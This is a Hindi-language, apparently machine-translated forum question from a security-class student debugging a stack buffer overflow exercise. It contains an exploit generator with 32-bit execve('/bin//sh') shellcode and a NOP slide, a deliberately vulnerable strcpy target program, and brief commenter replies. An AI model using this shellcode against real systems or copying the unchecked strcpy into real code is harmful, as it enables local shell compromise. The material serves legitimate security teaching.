फिर भी, मैं इस आवेदन में भेद्यता का उपयोग करने कोशिश कर रहा हूँ एक सुरक्षा वर्ग के लिए इस बफर ओवरफ्लो सामान सीखने:बफर ओवरफ्लो
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
के लिए:
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
इस आवेदन का फायदा उठाने का उपयोग करना कुछ कारण, जब मैं शोषण चलाकर बैडफाइल बना देता हूं, तो इससे कुछ भी धक्का नहीं पड़ता है। या तो बफर खाली है या यह ठीक से लिख नहीं रहा है। मुझे मेरी त्रुटि नहीं मिल रही है, और अथक रूप से Google खोज के बाद, मुझे पर्याप्त उत्तर नहीं मिला। भरने वाले फिल बफर कोड की मेरी समझ से, यह मेरे बफर के पते के साथ long_string भरना चाहिए, फिर मेरे शेलकोड को long_string (एक एनओओपी स्लाइड के बाद) की शुरुआत में डालें और फिर लंबे_स्ट्रिंग को बफर में कॉपी करें। मुझे वास्तव में या fwrite के साथ कोई समस्या नहीं दिख रही है। सुझाव?
क्या 'बैडफाइल - फॉपेन ("बैडफाइल", "आर") कोड में एक टाइपो, या आपकी पोस्ट है? – ughoavgfhw
'आकार (लंबा) == 4' (यानी 32-बिट प्रोग्राम) मानते हुए, कोड को इस तरह काम करना चाहिए। –
आकार का मानना (लंबा)> 4, कोड में एक बफर ओवरफ्लो है। – Sebastian